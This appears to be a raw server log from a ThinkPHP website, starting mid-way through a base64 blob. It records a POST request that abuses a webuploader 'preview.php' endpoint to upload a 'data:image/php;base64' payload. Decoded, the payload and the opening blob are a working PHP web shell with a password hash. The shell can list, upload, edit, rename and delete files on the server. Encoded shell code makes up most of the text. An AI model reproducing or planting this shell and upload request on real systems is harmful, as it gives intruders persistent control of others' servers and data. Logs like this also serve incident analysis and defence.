ICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:39+08:00 ] 119.42.146.234 POST 51tianwei.com/includes/webuploader/0.1.15/server/preview.php [运行时间:0.002900s] [吞吐率:344.84req/s] [内存消耗:196.68kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'includes', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgIC